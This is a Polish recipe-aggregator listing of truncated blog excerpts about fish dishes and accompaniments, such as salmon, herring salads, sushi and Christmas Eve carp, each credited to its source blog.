Nawiązując do 4 grupy produktów spożywczych, o dziwo ryba! Flądra pieczona z cytrusami i podana z kaszą gryczaną. Składniki: -3szt flądry -sok z połowy cytryny -4 łyżki oliwy -sól, świeżo mielony pieprz -100g kaszy gryczanej -1/2brokuła -2 łyżka masła Przygotowanie: 1. Flądrę opruszyć solą i pieprzem z każdej strony, ułożyć w naczyniu żaroodpornym (posmarowanym łyżką masłą(...)gotujemy według instrukcji na opakowaniu. 4.Brokuł kroimy na małe różyczki i gotujemy w osolonej wodzie. 5. Na rozgrzanej patelni roztapiamy pozostałe masło, podsmażamy ugotowany brokuł, dodajemy kasze. 6. Rybę polewamy sokiem z cytryny połączonym z oliwą, pieczemy przez ok. 30min w piekarniku rozgrzanym do 180'C, do momentu aż się zarumieni. Smacznego! FLĄDRA: -przede wszystkim źródło wielonasyconych kwasów omega

FITBUuK
domowe sushi 158

Japońskie roladki, zrobiły niesamowitą kulinarną  karierę na świecie:)  U nas w domu też czasami się pojawiają, ale przygotowane są po domowemu:) Potrzebujemy ryż, rybę, sos sojowy,ocet, trochę soli,..., ... i  algi morskie :) Opcji jest bardzo dużo i warto spróbować, "nie taki diabeł straszny jak go malują" Do zawinięcia sushi kupujemy gotowe suche glony/wodorosty morskie Nori :) Zamiast świeżej(...)ryby dałem paluszki krabowe, dla ostrego smaku dodałem chrzan. Ryż ~200 g  zalewamy 4 szkl. wody, solimy, zagotowujemy i odstawiamy, żeby ryż sam "doszedł".  Do ugotowanego ryżu dodajemy 1 łyż. sosu sojowego, 1 łyż. octu i mieszamy. Nori wykładamy na matę, rozprowadzamy warstwę ryżu zostawiając kawałek na sklejenie. Układamy pocięte paluszki i inne produkty :) zawijamy lekko dociskając palcami

chleba naszego
Łosoś na puree z białych warzyw – pyszny pomysł na zdrowy obiad 143

Łosoś sam w sobie jest bardzo smaczną rybą. Pewnie dlatego, że jest dość tłustą rybą, zawiera około 13,5g tłuszczu na 100g – dla porównania dorsz ma zaledwie niecały % tłuszczu na 100g. Oczywiście nie oznacza to, że jest to coś złego ponieważ tłuszcz rybi zawiera dobroczynne kwasy Omega -3 i Omega – 6, poprawiają sprawność umysłu, cerę, zmniejszają ryzyko zachorowań na nowotwory

wysmienity
Czas na MAKARON 159

jaką pastę jeść i kiedy, żeby trenować z włoskim temperamentem. NAJLEPSZA PORA Po makaron z pełnego ziarna sięgaj najpóźniej 2 godziny przed wysiłkiem. Wtedy też najlepszym dodatkiem będzie chuda ryba. Unikaj natomiast dodatków warzywnych i nadmiaru oliwy, bo mogą zalegać w brzuchu jeszcze na treningu. Tłusty łosoś w zestawieniu ze zwykłym makaronem lepiej sprawi się 2 godziny po wysiłku(...)gluten. Makaron ryżowy brązowy ma podobną wartość odżywczą jak pełnoziarnisty, al jego białko nie zawiera wszystkich niezbędnych aminokwasów (w odróżnieniu od sojowego), dlatego warto go łączyć z warzywami strączkowymi, rybami lub mięsem.  SEMOLINA To mąka o bursztynowym kolorze z bardzo wartościowego ziarna pszenicy durum (zawiera najwięcej białka). W połączeniu z wodą tworzy słynną włoską pastę. Jeżeli do tego semolina

ClauditteMissCooking
Pasta rybna + film 134

żółtego sera 2 ogórki kiszone 1 cebula 2 jajka ugotowane na twardo 1 łyżka posiekanej natki pietruszki 1 łyżka majonezu 1 łyżka musztardy czarny pieprz sól przepis Rybę z puszki razem z sosem ( może to być śledź lub szprotki ) dokładnie rozgniatamy widelcem a następnie przekładamy do miski. Obraną cebulę bardzo drobno siekamy po czym wrzucamy do ryby, dodajemy również starty

Smakowite Dania
Pęczotto z dynią i jarmużem 122

zamrażalce. Musiałam się jednak pocieszyć dynią piżomową. Z chęcią wypróbuję pęczotto z dynią hokkaido . Pęczotto podobnie jak risotto jest kremowe i delikatne w smaku. Idealne do pieczonego mięsa czy ryby . Co to jest pęczak? Pęczak to nic innego jak kasza jęczmienna. Świetnie pasuje do mięsnych gulaszy. Można z niej przyrządzić burgery i przeróżne sałatki. Znajdziecie tu ciekawe i innowacyjne przepisy(...)kremowej konsystencji, a pęczak miękki ale w całości. Pod koniec gotowania dodaj puree z dyni, parmezan i grubo pokrojony jarmuż. Dopraw solą i pieprzem. Podaj gorące do mięsa lub ryby lub jako danie jarskie.   The post Pęczotto z dynią i jarmużem appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Groszek z marchewką i dynią 194

proponuję groszek z dodatkiem dyni i marchwi. Celowo dałam więcej groszku, by ten dodatek do obiadu nie był za słodki. Polecam do pieczonych, duszonych czy smażonych mięs lub ryby. Składniki: 1 opakowanie mrożonego groszku po pół opakowania mrożonej marchewki i dyni 1 łyżka mąki przyprawa warzywna bez glutaminianu sodu - ok. 1 płaskiej łyżeczki ok. 1 łyżki kopiatej mąki(...)rozpuścić w wywarze. Mieszać cały czas łyżką, wsypując powoli mąkę przez małe sitko, bezpośrednio na warzywa. Gotować jeszcze minutę i zdjąć z ognia. Podawać do dań z mięsa lub ryby

Czerwień i błękit
Pieczony labraks nadziewany szpinakiem 175

PIECZONY LABRAKS NADZIEWANY SZPINAKIEM , wbrew pozorom, jest jednym z prostszych do wykonania dań. Jednakże, gdyby jego przygotowanie było trudne, otrzymany smak i aromat pieczonej ryby wynagradza wszelki wysiłek. Artykuł Pieczony labraks nadziewany szpinakiem pochodzi z serwisu MenMagazine

Menmagazine
Warsztaty sushi w warszawskiej Ten Sushi 137

serek. Ura maki: rolki z ryżem na zewnątrz obtoczone w sezamie  z kilkoma składnikami w środku Nigiri sushi:  niewielka porcja ryżu uformowana w dłoniach z kawałkiem ryby na wierzchu, u nas był to łosoś Tamago nigiri:  rodzaj nigiri, tylko zamiast warzyw czy ryby kładzie się na wierzchu  japoński omlet tamago, a wszystko oplata się paseczkiem nori

Kulinarne przygody Gatity
PASTA CHRZANOWA Z POREM 174

Lubicie pasty? Ja kocham, są dla mnie idealny zamiennikiem typowej kanpki z wędliną czy z serem żółtym. Pasty można tworzyć tak naprawdę ze wszytskiego z warzyw, grochu, mięsa czy ryb. Dziś zupełnie odmienna pasta bez mięsa bez ryb :) Pyszna pasta chrzanowa idealna do świeżego pieczywa.Zapraszam i Smacznego :) SKŁADNIKI: 4 jajka na twardo 3 ogórki konserwowe 1 por tylko biała cześć

Gotowanie Patki
Ziemniaki po grecku – dodatek do obiadu 2957

nudne i byle jakie mimo, że grają przy obiedzie jako drugie skrzypce. Tak naszykowane – na grecką nutę: lekko kwaśne, lekko pikantne, mocno ziołowe – świetnie pasują do białego mięsa i ryby. Pora urozmaicić talerze! Zapisz Rozgrzewamy piekarnik do 190⁰C. Jeśli mamy ładne, gładkie ziemniaki – myjemy je, kroimy na ćwiartki. Jeśli skórka jest bardzo szorstka albo po widocznych przejściach i bliskich(...)ziemniakami zostaje, do greckich szaszłyków souvlaki . Jako ‘surówkę’ koniecznie spróbujcie do tego zestawu mojego gęstego, przepysznego i niesamowicie świeżego tzatziki . Idealne będą do wszystkich smażonych, gotowanych lub pieczonych białych ryb (pstrąg, dorsz, dorada, labraks), do lekkiego jasnego mięsa – jak kurczak i cielęcina, ale i do mięsa z grilla – np. karkówki. Śmiało po upieczeniu posypcie je porwanymi w dłoniach listkami świeżej

Karo in the Kitchen
Warsztaty z sushi w TenSushi 132

środku, a ryż znajduje się na zewnątrz) – Nigiri sushi oznacza „sushi formowane ręką” (to prostokątne małe porcje ryżu z kawałkiem ryby na wierzchu) Na zakończenie zostaliśmy poczęstowani pysznymi krewetkami oraz warzywami w tempurze. Warsztaty były jak dla mnie świetnym doświadczeniem, przybliżyły mi przygotowanie poszczególnych rodzai sushi(...)Jedzenie było przepyszne i niepowtarzalne Jeżeli jeszcze nigdy nie próbowaliście sushi to gorąco Was zachęcam, koniecznie w dobrej restauracji, gdzie sushi przygotowywane jest ze świeżej ryby i warzyw lub kupcie składniki na sushi i zabawcie się w domowego sushi mastera   Post Warsztaty z sushi w TenSushi pojawił się poraz pierwszy

Marta Gotuje
Warsztaty z Pascalem Brodnickim 238

innej patelni posól i popieprz polędwiczki z sandacza, rozgrzej pozostałą część Ramy Smaż jak szef kuchni, podsmaż je 2-3 minuty z każdej strony (w zależności od grubości ryby). Rozłóż rybę na ciepłych talerzach, polej sosem i podawaj z grzybami. Tostowana drożdżówka z karmelizowanymi pomidorami i lodami Składniki dla 4 osób Czas przygotowania: 30 min. Składniki: 4 dużych pajd drożdżówki

karmelowy
Sałatka warstwowa z makrelą 144

Uwielbiam warstwowce. Ponieważ staram się jeść więcej ryb, które średnio lubię, dziś będzie coś z makrelą. Ile można jeść tuńczyka z puszki czy mimozę ? Sałatkę warstwową najlepiej podawać w szklanym naczyniu, żeby goście docenili jej urodę. Można przygotować jedną dużą miskę albo indywidualne porcje dla każdego, wtedy nie ma kłopotu z nakładaniem. Składniki dla 4 osób: 4 ogórki kiszone puszka(...)plasterki małe opakowanie gęstego jogurtu naturalnego świeżo zmielony czarny pieprz mały pęczek szczypiorku do sosu i trochę do do dekoracji – drobno posiekany Jak przygotować sałatkę warstwową z makrelą? Rybę obieram ze skóry, usuwam ości i palcami dzielę na mniejsze porcje, żeby wyłapać mniejsze ości, jeśli jeszcze zostały jakieś. Otwieram groszek i fasolę w puszce. Odcedzam je i przelawam fasolę

Ugotowane pozamiatane
Dip pomarańczowo-musztardowy 114

ryby. Czas wykonania: 20 min Ilość porcji: 2 porcje Składniki: 250 ml mleka (1 szklanka) 1 łyżki mąki pszennej skórka z ¼ pomarańczy sok z 1/6 pomarańczy 1 ½ łyżki musztardy 1 łyżki posiekanej natki pietruszki szczypta pieprzu i soli Przygotowanie: Dobrze wymieszać mleko z mąką, doprawić pieprzem i solą. Gotować na wolnym ogniu przez(...)dokładnie umyć i zetrzeć skórkę na tarce z drobnymi oczkami, a natkę pietruszki posiekać. Wymieszać ze sobą wszystkie składniki. Dip najlepiej smakuję z rybą. Poniżej znajdziesz link do dania z użyciem dipu. LINK: http://kuchniawedwoje.pl/nuggetsy-rybne-z-dipem-pomaranczowo-musztardowy/ Krok po kroku: 1.Wymieszać mąkę z mlekiem i doprawić

KuchniaWeDwoje.pl
Od czego zacząć zdrowe odżywianie? 4 podstawowe kroki. 162

granicach 0,8–1,2 g na każdy kg masy ciała, przekroczenie górnej granicy powinno być przemyślane i uzasadnione. Źródła białka: jaja mięso soczewica, ciecierzyca, bób nasiona dyni ryby: łosoś, halibut, panga, tilapia twaróg kasza jaglana, gryczana fasola, bób, groszek   –> Węglowodany Wyróżniamy węglowodany proste (cukry) i złożone. Dostarczają energii służącej m.in. do utrzymania temperatury ciała, pracy narządów(...)staramy się go ograniczyć do minimum, co jest błędem. Wbrew pozorom jest on niezbędny i wywiera korzystny wpływ na organizm (szczególnie tłuszcz nienasycony, który znajdziemy w nierafinowanych olejach roślinnych, rybach, orzechach, nasionach czy awokado). Ogólne spożycie tłuszczu powinno kształtować się w granicach 15-30% zapotrzebowania energetycznego, przy czym należy ograniczyć tłuszcze nasycone oraz trans. –> Błonnik Jest

Powiedz dietom nie
lekki makaron z dorszem i młodą marchwią 161

patelni rozgrzewamy drugą łyżkę masła i układamy dorsza skórą do dołu (o ile wybraliśmy filet ze skórą). Smażymy na mocnym ogniu aż skórka stanie się złota. Następnie obracamy kawałki ryby i smażymy jeszcze ok minutę na drugiej stronie.  Podajemy razem z makaronem. Smacznego

Cook&Love
LEKKA SAŁATKA Z MAKRELĄ, JABŁKAMI I ZIELONYM GROSZKIEM 212

Makrele są rybami, które licznie żyją w naszych wodach, dlatego... Artykuł LEKKA SAŁATKA Z MAKRELĄ, JABŁKAMI I ZIELONYM GROSZKIEM pochodzi z serwisu CookMagazine

COOKMAGAZINE
Tort kanapkowy rybny 167

łyżki mąki orkiszowej pełnoziarnistej 2 dkg drożdży 1 łyżeczka soli szczypta cukru 1 i 1/2 szklanka letniej wody 5 łyżek oleju rzepakowego wielkopolskiego pasta rybna: 40 dkg ryby wędzonej 1 cebula biała 2 jajka sól, pieprz 1 łyżka majonezu natka pietruszki pasta z pomidorów 1 słoiczek pomidorów suszonych 1/3 szklanki oleju z pomidorów 20 dkg nasion słonecznika 2 ząbki czosnku(...)minut. Po upieczeniu wyjmuję chleb z piekarnika i z formy, spryskuję go wodą zimną, nakrywam ściereczką i ustawiam na kratce do przestygnięcia.Chleb upiekłam dzień wcześniej. Pasta rybna: Rybę obieram, przekładam do miski, dodaję pokrojoną drobno cebulę, natkę, jajka ugotowane na twardo, majonez, sól, pieprz i miksuję blenderem. Pasta pomidorowa: Słonecznik przesypuję do miski, zalewam zimną przegotowaną wodą i odstawiam

wesoła kuchnia
Adwent 2016 - potrawy wigilijen 135

Cześć Dzisiaj 27 dzień Adwentu, a już jutro Wigilia. Ja już zaczęłam przygotowanie świątecznych potraw. Ryba w sosie pomidorowym jest już gotowa, a sałatka jarzynowa jest już prawie gotowa. Przepis na rybę w sosie pomidorowym znajdziecie tutaj , a przepis na sałatkę jarzynowa tutaj . Wczorajsza zupa grzybowa wyszła dość smaczna. Chociaż osobiście wolę zupę grzybową z pieczywem

blog.moje-pasje.info
Boczniaki po grecku 189

Przyznam się Wam szczerze, że nie przepadałam za rybą po grecku, ale za tym daniem w wersji wegańskiej to szaleję. Dotychczas robiłam je używając zamiast ryby „kotletów” sojowych, ale nie jem już soi w tej postaci, więc poeksperymentowałam i to naprawdę ze spektakularnym skutkiem, bo nawet Miśka jadła te boczniaki po grecku, a ona nie przepada za grzybami

greenscarf
Łosoś w galarecie 169

garnuszka wlać trochę zimnej wody, wymieszać. Tylko tyle żeby żelatyna napęczniała. Zagotować wywar i wlać do żelatyny. Wymieszać i odstawić, żeby prawie zgęstniała. Prawie gęstą żelatynę wlać na rybę, a pozostałą rozłożyć naokoło. Pycha mniam

Kuchnia Pokoleń
Świąteczna sałatka śledziowa z ziemniakami, cebulą i szczypiorem 191

Śledzie to jedne z najzdrowszych ryb świata. Ziemniaki są bogate w skrobię i białko roślinne. Cebula pozytywnie wpływa na układ trawienny i zawiera wiele cennych składników mineralnych, a szczypior pobudza apetyt. Kiedy połączy się te wszystkie składniki, doda jogurt naturalny i przyprawy, powstanie lekka i pyszna sałatka śledziowa, która swoim smakiem podbije świąteczny stół.  Składniki 200 g śledzi(...)Znajdziemy w nich witaminy A, B6, B12, D i E, która ma działanie przeciwmiażdżycowe. Są bogate w żelazo, cynk, miedź oraz fosfor i jod. Mimo że śledzie to tłuste ryby, są niskokaloryczne. 100 g to 160 kalorii.  Sałatkę śledziową z ziemniakami można przygotować w gotowych porcjach, np. w małych słoikach. Takie słoiki mogą stać się także piękną ozdobą świątecznego

My Chcemy Jeść
Czy tran jest zdrowy? 189

rzadziej spotyka się zatem tran produkowany z tłuszczu wielorybów, a zastępuje go dużo tańszymi olejami pochodzenia rybnego. Mają one udowodnione, gorsze właściwości, o czym jesteśmy rzadko informowani. Co gorsza, ryby, z których pozyskuje się olej na tran same nie mają wiele wspólnego z naturą . Są to bowiem najczęściej zwierzęta specjalnie hodowane w tym celu, karmione ponadto licznymi antybiotykami i specjalnymi(...)dzisiejszy konsument jest bardzo wymagający i rzadko decyduje się na rozwiązania nieprzyjemne dla siebie. Tran w czystej formie nie jest natomiast smaczny – w końcu to zwykły olej z ryby. Dlatego też producenci dodają do niego dodatkowych ulepszaczy smaku, by przyciągnąć niechętnych klientów. Tracą natomiast na tym właściwości zdrowotne tranu, który przestał być dobrym suplementem diety, szczególnie dziecięcej. Post

Kulinarnyblog.pl - wiesz jak gotować!
Łosoś w cieście 159

pokochałam od pierwszego przyrządzenia. Rodzinka od pierwszego podania . Na piątkowy obiad jak znalazł. Składniki: opakowanie świeżego ciasta francuskiego dwa filety z łososia opakowanie szpinaku mrożonego w liściach przyprawa do ryby 2 ząbki czosnku sól ziołowa żółtko Wykonanie: Ciasto rozłożyć i delikatnie rozwałkować. Podzielić na 4 części. Rozmrozić szpinak na patelni, dodać czosnek i nieco soli ziołowej. Przestudzić. Nałożyć na każdy(...)kawałek ciasta mniej więcej do połowy. Przyprawić rybę i podzielić tak żeby powstały 4 mniej więcej równe kawałki . Można ale nie trzeba jej obsmażać. Nałożyć filet na szpinak. Farsz nakryć pozostałą częścią ciasta. Brzegi skleić widelcem. Na górze zrobić 3-4 nacięcia. Posmarować rozmąconym żółtkiem. Wstawić do nagrzanego do 180 stopni piekarnika i piec około

Mama z miasta
SAŁATKA ŚLEDZIOWO - BURACZKOWA 139

Sałatka śledziowa jest nie zastąpiona na większych przyjęciach i świętach. Dzisiaj przygotowałam ją z dodatkiem groszku i buraczków a podałam ją udekorowaną w kształcie ryby.                                                                   SKŁADNIKI(...)śledzie z puszki przyprawy oraz musztardę i majonez. Wszystko dokładnie mieszamy.   Na podłużny półmisek wykładamy sałatkę, smarujemy ją na wierzchu majonezem. Z kawałków buraczka wycinamy buzię i łuski ryby, następnie oczy robimy z oliwek i gdzie nie gdzie dokładamy kawałki marchewki.  Ogon robimy z natki pietruszki. Sałatkę podajemy schłodzoną. Smacznego

Kulinarne Fantazje Marioli
Śledzie w czerwonym winie z suszonymi śliwkami 179

Śledzie są rybami morskimi, z których można wyczarować wiele smacznych, tradycyjnych i nowoczesnych dań. Najbardziej popularne są u nas śledzie w formie przekąsek czy sałatek przygotowywane na różne sposoby – z olejem, marynowane, z cebulką, jabłkami, orzechami, rodzynkami, warzywami czy korzenne. Na ostro, słono, kwaśno, słodko – dla każdego jakiś śledzik się(...)znajdzie. Filety śledziowe solone a’la matjas SEKO przygotowywane są z ryb najwyższej jakości – ich mięsista konsystencja oraz charakterystyczny dla śledzi smak podkreślone zostały specjalnie skomponowaną zalewą smakową. Dawno nie jadłam tak smacznych śledzi. Muszę również przyznać, że nigdy ich wcześniej nie kupowałam, ale dzięki uprzejmości firmy SEKO mogę teraz delektować się ich smakiem. Przepisy

To co kocham
Ryba - kulebiak w cieście 120

pomysłów, smaków i tradycji. Dlatego chciałam wam podsunąć pomysł na jeszcze jeden dodatek do barszczu, a właściwie na ciekawe podanie kulebiaka z kapustą i grzybami. Co powiecie na zrobienie ryby z kruchego ciasta w środku, której schowacie kapuściany farsz? Polecam, to danie bardzo efektowne i wcale nie takie trudne. Do przygotowania ciasta użyłam mąki tortowej Lubella . Taka ryba to porcja

Bernika - moj kulinarny pamietnik
Kulinarne inspiracje na Boże Narodzenie 458

Narodzenia Tradycja mówi, że muszą być postne i że powinno ich być 12. Wśród moich propozycji znajdziecie barszcz czerwony, zupę grzybową, pierogi z kapustą i grzybami, małe kulebiaczki i ryby oraz świąteczne słodkości. Barszcz wigilijny bez zakwasu Wigilijna zupa grzybowa Paszteciki z pieczarkami Pierogi z kapustą i grzybami Łosoś w czarnym pieprzu i cytrynie Ryba po grecku Sałatka z pieczonych

Kulinarne Inspiracje
Kluski z kapustą 214

moim rodzinnym domu kapustę z grzybami i suszonymi śliwkami mama podawała z panierowanymi filetami z ryby. Ja najczęściej podaję ją do kaszanki, pieczonego lub duszonego schabu, ale również lubimy wymieszaną z ugotowanym makaronem Składniki: 250 g makaronu - świderki, fale, krótkie wstążki lub łazanki 500 g kapusty kwaszonej (może być z marchewką) garść suszonych borowików lub podgrzybków 50 g śliwek kalifornijskich(...)czasu. Na końcu doprawić pieprzem i ewentualnie dosolić i docukrzyć. W czasie duszenia kapusty ugotować w osolonym wrzątku makaron. Odcedzić i wymieszać z gorącą kapustą. Można również podać do ryby wigilijnej

Czerwień i błękit
Sałatka z papryką i łososiem 183

często bo jest smakowita i właśnie szybka a moja ulubiona papryka jest w niej obecna. Łososia w puszce można kupić w każdym szanującym się sklepie lub stoisku z rybami. Popróbujcie ze mną tej pysznej sałatki. Sałatka z papryką i łososiem. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Salsa - chyba do wszystkiego 195

śniadanie, na obiad, na podwieczorek... W zasadzie na każda porę dnia. Warzywa, przyprawy i mamy lekki dodatek do dań:) Jadłam ją już z chlebem domowej roboty, jadłam z rybą, fantastycznie smakuje z grzankami - kromki chleba wkładałam do tostera i podgrzewam. Kapitalna jest z serem kozim - chleb żytnio-orkiszowy lub chleb żytni , na to plasterek sera koziego i trzymamy uszy, żeby(...)się za bardzo nie trzęsły podczas jedzenia :) To od Was zależy, do czego jej użyjecie. Pasuje naprawdę do wszystkiego, chyba :) Jeśli będziecie robić rybę na święta, np. halibuta lub łososia, to koniecznie zróbcie do nich również tę salsę. Przepis bardzo prosty i do wykorzystania, jako dodatek, do wielu potrawach.  Składniki: 3 ogórki kiszone 1/4 czerwonej papryki 6-7 pomidorów

www.szczesliwakuchnia.blogspot.com
Sałatka ryżowa z łososiem 125

soczysty. 1/2 szklanki ryżu 20 dkg łososia 6 truskawek 1/2 awokado 10 gron winogrono ciemne 6 kulek mozzarella 1 garść roszponki 1/2 cytryny sól, pieprz kolorowy przyprawa do ryb oliwa z suszonych pomidorów Ryż dokładnie płuczę zimną wodą, przekładam do garnka wlewam szklankę wody, dodaję sól i gotuję na wolnym ogniu aż wchłonie wodę. Wstawiam pod koc na 30 minut(...)dojdzie. Łososia solą, pieprzę, posypuje przyprawą do ryb i odstawiam na 30 minut. Po tym czasie gotuję go na parze w garnku około 10 minut, czas gotowania zależy od grubości łososia. mój był dość gruby. Truskawki, winogrono myję i kroję na cząstki, dodaję do ryżu przestudzonego, dokładam roszponkę, mozzarellę pokrojoną, awokado które skrapiam sokiem z cytryny, dodaję łososia którego dzielę

wesoła kuchnia
Bezglutenowa tarta z warzywami 220

Tarta lekko wędzona za sprawą ryby, z dodatkiem fasolki, kukurydzy i groszku Firmy JAMAR . Otrzymałam smaczną paczuszkę dzięki której ona powstała. Wersja bezglutenowa. Tarta powstała fajna, krucha. spód tarty: 150 g mąki kukurydzianej 100 g mąki ryżowej 3 żółtka 1/2 łyżeczki soli 1 łyżeczka przyprawy miks 150 g masła zimnego 3 łyżki zimnej wody farsz: 2/3 puszki kukurydza z groszkiem(...)przekładam jogurt, wbijam jajka, dodaję białko, sól, pieprz, przyprawę, pokrojony koper i całość mieszam. Na wystudzony spód tarty przelewam 2/3 masy jogurtowej, układam kukurydzę z groszkiem, fasolkę, kawałki obranej ryby. Wylewam resztę masy jogurtowej, dodaję połówki pomidorków. Tartę wstawiam do piekarnika temp 180 stopni na 20 minut aż się zetnie

wesoła kuchnia
KARP PACHNĄCY KMINKIEM 156

Bardzo dobry sposób na to aby Pana Karpia podać w innej odsłonie ,nie tylko jako rybę smażoną w bułce tartej ,ale np.duszoną, ze smakiem,polotem i inaczej.Przepyszny jest w tej postaci.Polecam.   1 kg.karpia 3 dag.słoniny 5 dag.prawdziwego masła 1 czubata łyżka mąki 1 łyżeczka sproszkowanego kminku 1/4 szkl.rosołu rybnego natka pietruszki kilka plasterków cytryny ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Rybę oczyścić

Kocurkowe rozmyślania w kuchni Anielki
Kuskus warzywny 172

wcześniej bulionu i kaszki Kuskus marki Kupiec. Wersja jest bardzo tania i szybka w wykonaniu. Wystarczy 10 minut do jej przygotowania. Może być dodatkiem do pieczonego  mięsa lub ryby. Można dodać ugotowaną fasolkę, soczewicę lub groszek i będzie pożywnym daniem wegetariańskim. Kuskus warzywny  (dla 2 osób) 100 g kaszki Kuskus marki Kupiec bulion warzywny lub woda 2 ugotowane(...)Dodaj warzywa, szczypior i miętę  do kaszki.  Dodaj oliwę, dopraw solą, chilli i pieprzem do smaku. Wymieszaj dokładnie.  Podawaj Kuskus warzywny jako dodatek do mięsa lub ryby lub jako danie wegetariańskie z dodatkiem ugotowanych warzyw strączkowych

Gotuj Sam!
Garść tradycji + szczypta nowoczesności = przepis na udaną Wigilię z Galeo 116

wigilijną tradycją : zupę z borowików z nalewką wiśniową tatara z łososia i mango chrupiące pierożki z łososiem śledzie z pieczonymi burakami i jarmużem karpia w szarym sosie rybny suflet ryby marynowane z żubrówką pieczonego dorsza na imbirowym mango śledzie z czarną soczewicą łososia w grzybowym ragu kutię gruszkę nadziewaną orzechami Jak zwykle działaliśmy w grupach, ja miałam przyjemność przygotować marynowane(...)ryby w żubrówce. Był to surowy łosoś i sandacz marynowany w wywarze z warzywach z dodatkiem octu i żubrówki. Zamknięty w słoiczku może być przygotowany parę dni przez Wigilią. Było bardzo pysznie, pracowicie i inspirująco. Na warsztatach z Maciejem zawsze można się spodziewać ciekawych i zaskakujących połączeń smakowych. I tak też było. Na koniec usiedliśmy do wspólnego stołu, żeby skosztować

Kulinarne przygody Gatity
Proszek do pieczenia, soda oczyszczona czy amoniak? 151

innych sypkich składników; możesz także utrzymać wilgotność polewy i zapobiec jej pękaniu, dodając do niej szczyptę sody oczyszczonej przed rozsmarowaniem po cieście; pomaga pozbyć się nieprzyjemnego zapachu i posmaku ryb - przez co najmniej pół godziny mocz surową rybę w litrze wody z rozpuszczonymi dwiema łyżkami stołowymi sody oczyszczonej; opłucz i wysusz mięso przed przyrządzeniem; pozwala uniknąć zważenia się gotowanego mleka

Trzeci talerz
Pęczak znakomity 151

zróbcie wg. przepisu na opakowaniu, dodając łyżeczkę cukru i dwa wyciśnięte ząbki czosnku. Danie gotowe ☺ Możemy tak przyrządzoną kaszę jeść jako samodzielne danie lub z dodatkiem pieczonego kurczaka lub ryby. Można również potraktować ten przepis jako bazę i stosować dowolne dodatki w postaci warzyw, ryb, mięsa i wędlin

Kulinarne przemyslenia
Święta tuż, tuż – potrawy wigilijne 192

jednak efekty są zaskakujące – samodzielnie przygotowane i wykrajane ciasto ma całkiem inną jakość niż kupne. W wigilię według tradycji nie powinno się spożywać mięsa, za wyjątkiem tego z ryb. Z tego powodu prawie w każdym domu podaje się smażonego karpia w różnych wydaniach. Ryby można spotkać też w innych postaciach, na przykład w galarecie. Kolejną ważną potrawą jest sałatka

Kulinarnyblog.pl - wiesz jak gotować!
Wegański pasztet z warzyw z zupy 170

cebula, 1 marchewka 1 woreczek kaszy gryczanej lub 100 g 4 łyżeczki chrzanu 2 surowe marchewki 1/2 szklanki bułki tartej 1/2 szklanki mąki ziemniaczanej 1 cebula przyprawa do ryb, sól ziołowa, słodka papryka, sól, pieprz, zioła prowansalskie,  Wykonanie: 1. Warzywa z zupy miksujemy na gładką masę.  2. Kaszę gryczaną gotujemy z godnie z opisem na opakowaniu(...)masy z warzyw dodajemy ugotowaną kaszę gryczaną, startą marchewkę, usmażoną cebulkę, dodajemy bułkę tartą i mąkę ziemniaczaną, 4 łyżeczki chrzanu i doprawiamy przyprawami. Około 2 łyżeczki przyprawy do ryb, 1 łyżeczkę soli ziołowej, 1 łyżeczkę ziół prowansalskich 1 łyżeczkę papryki słodkiej i dodatkowo parę szczypt soli i pieprzu.  6. Wszystko dokładnie mieszamy i wykładamy do foremki wyłożonej papierem

Mój pomysł na
Steki z tuńczyka z kolorowym pieprzem i rozmarynem 134

Steki z tuńczyka to danie które robi się błyskawicznie a efekt jest nieziemski, pyszne, soczyste mięso z ryby i do tego ulubione dodatki. Polecam gorąco do wypróbowania. Steki z tuńczyka z kolorowym pieprzem i rozmarynem. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Kolacja degustacyjna ProVita Team i Przyjaciele 2 „Polska jesień” - część 2 157

orzeszki bukowe i cukier nagietkowy. Riesling Kabinett 2012, winnica Rappenhof Elegancki delikatnie słodki Riesling o silnie owocowym nosie i idealnie zrównoważonej kwasowości. Doskonały do potraw z jasnym mięsem i ryb. Doskonale będzie prezentował się również w towarzystwie potraw kuchni azjatyckiej i deserów. Bardzo słodki deser został skonfrontowany z winem, w którym oprócz sowitej słodyczy resztkowej nie brak również prężnej kwasowości(...)doskonały finał, pozostający długo w pamięci kubków smakowych. Wszystkie dania przygotowane z jedną przyprawą – solą. Mimo to, wszystkie potrawy były idealnie doprawione, smaki wspaniale dobrane. Jedynie głównemu daniu z rybą, z turbotem zabrakło wykończenia. Ale trzeba wziąć pod uwagę, że niektóre dania nie były szczegółowo zaplanowane, były tylko zarysowane, powstawały w trakcie gotowania/szykowania, co według mnie zdecydowanie podnosi wartość

królestwo garów
Sum w sosie piernikowym 115

Staropolski, zapomniany przepis. Sos piernikowy dla niektórych może wydawać się dziwny, ale do ryby pasuje idealnie. Zamiast suma można użyć karpia i mamy nowe danie wigilijne. Składniki na 2 porcje: • 2 filety z suma • 4 pierniczki Katarzynki • 2 szalotki • 1 szklanka bulionu warzywnego • 1 łyżka miodu • 100 ml wina czerwonego wytrawnego • sól, pieprz do smaku(...)posolić i poddusić. • Dodać pierniczki pokrojone w drobną kostkę, wino, bulion i miód. • Pogotować aż sos zgęstnieje, doprawić solą i pieprzem. • Sos przetrzeć przez sitko. • Rybę posypać solą i pieprzem, oprószyć mąką i usmażyć na rozgzranym maśle na złoty kolor. • Podawać na ciepło z sosem piernikowym . Przepis ten pochodzi

To co kocham
Sandacz w sosie z kiszonych ogórków po staropolsku 170

Ciekawa propozycja na wigilijny stół i nowa odsłona ryby czyli sandacz po staropolsku. Stary zapomniany przepis. Składniki na 2 porcje • 1 filet z sandacza • 2 ogórki kiszone • 2 szalotki • 1 szklanka śmietany 30% • sól, pieprz biały i cytrynowy do smaku • 3 łyżki masła klarowanego Wykonanie: • Na maśle posmażyć szalotkę pokrojoną w kostkę(...)śmietaną. • Dusić sos aż zredukuje objętość, przyprawić solą i pieprzem białym. • Usmażyć na maśle filet z sandacza posypany solą, pieprzem cytrynowym i oprószony mąką. • Podawać rybę z sosem ogórkowym na ciepło. Przepis pochodzi z warsztatów AEP Makro Dary lasu

To co kocham
Sandwich z pstrąga z szafranowym risotto 128

